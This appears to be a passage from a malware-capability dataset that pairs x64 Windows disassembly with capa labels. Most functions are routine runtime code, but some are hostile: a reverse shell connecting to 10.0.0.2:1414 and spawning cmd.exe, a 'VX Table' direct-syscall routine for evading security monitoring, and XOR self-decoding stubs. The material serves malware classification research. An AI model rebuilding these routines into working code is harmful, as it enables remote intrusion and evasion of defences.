joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140038700
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1070
call fcn.14003e050
sub rsp, rax
mov rax, qword [0x140105a50]
xor rax, rsp
mov qword [rsp + 0x1060], rax
mov rsi, rcx
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140038803
mov qword [rsp + 0x1088], rbx
mov qword [rsp + 0x1090], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ebp, ebp
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], ebp
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], ebp
mov r8, rbx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x1088]
nop word [rax + rax]
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne al
test al, al
je 0x1400387fb
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x1400387a0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core_conda.dll_public:_static_class_QString___cdecl_QString::fromLocal8Bit_char_const____ptr64__int_]
mov rdx, rax
mov rcx, rsi
call fcn.14003c840
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core_conda.dll_public:_void___cdecl_QString::destructor_void____ptr64]
jmp 0x1400387a0
mov rbp, qword [rsp + 0x1090]
mov rcx, qword [rsp + 0x1060]
xor rcx, rsp
call fcn.14003e010
mov rsi, qword [rsp + 0x1098]
add rsp, 0x1070
pop rdi
ret
Function at 0x14003eca0
Capabilities:
Accept command line arguments

Disassembly:
push rdi
push r15
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x14003ecd5
or rax, 0xffffffffffffffff
add rsp, 0x78
pop r15
pop rdi
ret
mov eax, dword [rsp + 0x40]
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0x90], rbx
movsxd rcx, eax
mov eax, 8
mul rcx
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x60], r14
cmovo rax, r15
mov rcx, rax
call fcn.14003ee40
mov r14, rax
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
xor ebx, ebx
test eax, eax
jle 0x14003edd9
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0x70], r12
mov r12, r14
mov qword [rsp + 0x68], r13
mov r13, rdi
sub r13, r14
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rbp, qword [r12 + r13]
mov r9d, r15d
mov qword [rsp + 0x38], rbx
mov r8, rbp
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14003ee40
mov qword [rsp + 0x38], rbx
mov r9d, r15d
mov qword [rsp + 0x30], rbx
mov r8, rbp
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
lea r12, [r12 + 8]
mov eax, dword [rsp + 0x40]
inc r14d
cmp r14d, eax
jl 0x14003ed50
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x98]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x40]
mov rdx, r14
call fcn.14001db20
mov esi, eax
cmp dword [rsp + 0x40], ebx
jle 0x14003ee19
mov rdi, r14
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x14003ee19
call fcn.14003d9a0
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x40]
jl 0x14003ee00
mov rcx, r14
call fcn.14003d9a0
mov r14, qword [rsp + 0x60]
mov eax, esi
mov rsi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x90]
add rsp, 0x78
pop r15
pop rdi
ret
Function at 0x140015a90
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140021eb0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140021eb0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140015b00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140134174]
mov r12, rcx
test ebx, ebx
jle 0x140015c30
mov rax, qword [0x140134178]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140015b4c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140015bd3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140015b30
mov rcx, r12
call fcn.1400164a0
mov rsi, rax
test rax, rax
je 0x140015c52
mov rax, qword [0x140134178]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1400165d0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140134178]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140015c37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140015bcc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140015be0
add dword [0x140134174], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140134178]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140015bcc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140015a90
nop dword [rax]
xor ebx, ebx
jmp 0x140015b57
mov rax, qword [0x140134178]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140015a90
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140015a90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140016110
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1401341e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401341c0]
test rbx, rbx
je 0x140016164
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14001615b
test r12, r12
je 0x14001615b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140016140
lea rcx, [0x1401341e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400164a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14010dbc0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400164c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400164c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400164c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140016515
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001650c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400164c0
add rax, 0x28
cmp rax, r9
jne 0x1400164f8
xor eax, eax
ret

Function at 0x140016520
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14010dbc0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140016540
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140016548
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140016540
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400165d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14010dbc0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400165f0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400165f8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140016820
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x1401341c8]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x1400161a0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x1400161f3
mov dword [rax], edi
lea rcx, [0x1401341e0]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401341c0]
lea rcx, [0x1401341e0]
mov qword [0x1401341c0], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x140016196
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x140016850
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x140022260
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x140022270
xor eax, eax
ret
jmp 0x140016180

Function at 0x140016890
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x1400168d0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1400168e8
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x14007eec0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x14007eee7
call rbp
cmp dword [rax], 4
jne 0x14007ef04
mov rcx, rdi
call fcn.14007ece0
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x14007eee0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140003570
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400035ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400035ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400035ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400035ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400035ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400035bc
xor al, al
add rsp, 0x28
ret

Function at 0x140007920
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140007948
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140007948
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov ecx, 0x202
lea rdx, [0x1400046c0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov ecx, ebx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, str.10.0.0.2
mov qword [0x140004858], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea edx, [rdi + 0x10]
lea rcx, str.10.0.0.2
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.1414
mov word [0x140004860], bx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.10.0.0.2
mov word [0x140004862], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140004858]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x140004860]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [0x140004864], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140004858]
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [0x1400046a0], rax
movups xmmword [0x140004690], xmm0
xor edx, edx
mov r8d, 0x1ee
movups xmmword [0x140004640], xmm0
mov dword [0x140004640], 0x68
movups xmmword [0x140004670], xmm0
mov dword [0x14000467c], 0x101
movups xmmword [0x140004650], xmm0
mov qword [0x140004698], rax
movups xmmword [0x140004660], xmm0
mov qword [0x140004690], rax
movups xmmword [0x140004680], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0x50], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400046a8]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
lea rax, [0x140004640]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400011e0
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x140001abc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b06
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b08
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Check os version
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x1400011f4
cmp dword [rax + 0x118], 0xa
jne 0x1400011f4
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rcx, qword [rdi + 0x20]
cmp word [rcx], ax
jne 0x1400011f4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400011f4
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x1400011f4
xorps xmm0, xmm0
lea r8, [rbp - 0x19]
movups xmmword [rbp - 0x19], xmm0
movabs rax, 0xf5bd373480a6b89b
mov rdx, rbx
mov qword [rbp - 0x11], rax
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
mov rcx, qword [rdi + 0x20]
call fcn.140001220
test eax, eax
je 0x1400011f4
movabs rax, 0x64dc7db288c5015f
lea r8, [rbp + 0x17]
mov qword [rbp + 0x1f], rax
mov rdx, rbx
mov rcx, qword [rdi + 0x20]
call fcn.140001220
test eax, eax
je 0x1400011f4
movabs rax, 0x858bcb1046fb6a37
lea r8, [rbp - 1]
mov qword [rbp + 7], rax
mov rdx, rbx
mov rcx, qword [rdi + 0x20]
call fcn.140001220
test eax, eax
je 0x1400011f4
movabs rax, 0xc6a2fa174e551bcb
lea r8, [rbp + 0x2f]
mov qword [rbp + 0x37], rax
mov rdx, rbx
mov rcx, qword [rdi + 0x20]
call fcn.140001220
test eax, eax
je 0x1400011f4
movaps xmm0, xmmword [rbp - 0x19]
lea rdx, [rbp - 0x79]
movaps xmm1, xmmword [rbp - 9]
lea rcx, str.VX_Table___p_n
movaps xmmword [rbp - 0x79], xmm0
movaps xmm0, xmmword [rbp + 7]
movaps xmmword [rbp - 0x69], xmm1
movaps xmm1, xmmword [rbp + 0x17]
movaps xmmword [rbp - 0x59], xmm0
movaps xmm0, xmmword [rbp + 0x27]
movaps xmmword [rbp - 0x49], xmm1
movaps xmm1, xmmword [rbp + 0x37]
movaps xmmword [rbp - 0x39], xmm0
movaps xmmword [rbp - 0x29], xmm1
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, [rbp - 0x19]
call fcn.140001370
xor eax, eax
jmp 0x1400011f9
mov eax, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140001660
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x140001641
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret
Function at 0x140f81f08
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f81f12
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f81f3b
pop rbp
sub rbp, 0x33
sub rbp, 0xf81f08
sub rsp, 0x20
jmp 0x140f81f5a
mov rax, 0xf81f08
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xfffffffffedc334a
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f81f79
jmp 0x140f81f90
add al, bl
movabs dword [0xcb024a4a4a76c3c1], eax
mov eax, dword [rdx + 0x4b]
add cl, byte [rbx - 0x5d]
add cl, byte [rbp + 0x4a4a428a]
add cl, byte [rbp + 0x4a4a6288]
add dil, byte [rbp - 0x74b4fd58]
ror ebx, 0x46
add cl, byte [rbx - 0x5e]
sbb bl, byte [rdx]
add dh, dl
movabs byte [0x24a4a4a4a4a60c8], al
push rsp
invalid
Function at 0x140002248
Capabilities:
Get file size
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, rdx
mov rbx, rcx
and dword [rsp + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov r8d, 1
mov dword [r11 - 0x28], r8d
and qword [r11 - 0x38], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140002367
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
je 0x14000235e
lea ecx, [rsi + 1]
call fcn.140014364
mov rdi, rax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov r8d, esi
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002356
cmp dword [rsp + 0x80], esi
jne 0x140002356
mov byte [rsi + rdi], 0
mov rcx, rdi
call fcn.14001f1b0
mov rsi, rax
cmp rax, qword [rbx + 0x18]
ja 0x140002348
mov r14, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000232f
mov r14, qword [rbx]
mov qword [rbx + 0x10], rsi
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.140038420
mov byte [r14 + rsi], 0
jmp 0x140002356
mov r9, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.14001241c
mov rcx, rdi
call fcn.140014320
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x1400023b0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xe0
mov ebx, edx
mov esi, r8d
xor edx, edx
mov rdi, rcx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.140038ac0
xor edx, edx
mov dword [rsp + 0x70], 0x68
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x18]
call fcn.140038ac0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov rdx, rdi
mov qword [rsp + 0x40], rax
xor ecx, ecx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ebx
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000246b
test esi, esi
je 0x140002442
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x108]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x108]
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140002488
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, rdx
mov r15, rcx
and qword [r11 - 0x28], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140002640
mov dword [rbp + 0x30], 0x26ee631b
mov word [rbp + 0x34], 0x572c
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx]
mov ecx, 0x5fc
mov eax, dword [rcx + rdi]
mov esi, 0xb20
mov ebx, 1
test bl, al
jne 0x140002536
or eax, ebx
mov dword [rcx + rdi], eax
mov word [rsi + rdi + 6], 0x1eb
mov eax, dword [rbp + 0x30]
mov dword [rsi + rdi], eax
movzx eax, word [rbp + 0x34]
mov word [rsi + rdi + 4], ax
lea rcx, [0x14003caf0]
call fcn.140014440
nop
lea rdx, [rdi + rsi]
cmp byte [rdx + 7], 0
je 0x14000256a
xor r9d, r9d
mov cl, r9b
and cl, 7
shl cl, 3
movabs r8, 0x75eb2f5947b10f6b
shr r8, cl
xor byte [rdx + r9], r8b
add r9, rbx
cmp r9, 7
jb 0x140002543
mov byte [rdx + 7], 0
mov rcx, r15
call fcn.14001eb00
test eax, eax
jne 0x140002588
mov r8d, 0x19d951
lea rdx, [0x140294150]
jmp 0x14000261b
mov dword [rbp + 0x30], 0xd00c3103
mov word [rbp + 0x34], 0xfb14
mov ecx, 0xa18
mov eax, dword [rcx + rdi]
mov esi, 0x388
test bl, al
jne 0x1400025ce
or eax, ebx
mov dword [rcx + rdi], eax
mov word [rsi + rdi + 6], 0x155
mov eax, dword [rbp + 0x30]
mov dword [rsi + rdi], eax
movzx eax, word [rbp + 0x34]
mov word [rsi + rdi + 4], ax
lea rcx, [0x14003cad0]
call fcn.140014440
nop
lea rdx, [rdi + rsi]
cmp byte [rdx + 7], 0
je 0x140002602
xor r9d, r9d
mov cl, r9b
and cl, 7
shl cl, 3
movabs r8, 0x35558361b1535d77
shr r8, cl
xor byte [rdx + r9], r8b
add r9, rbx
cmp r9, 7
jb 0x1400025db
mov byte [rdx + 7], 0
mov rcx, r15
call fcn.14001eb00
test eax, eax
jne 0x140002635
mov r8d, 0x241470
lea rdx, [0x140052ce0]
and qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002643
mov ebx, dword [rbp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret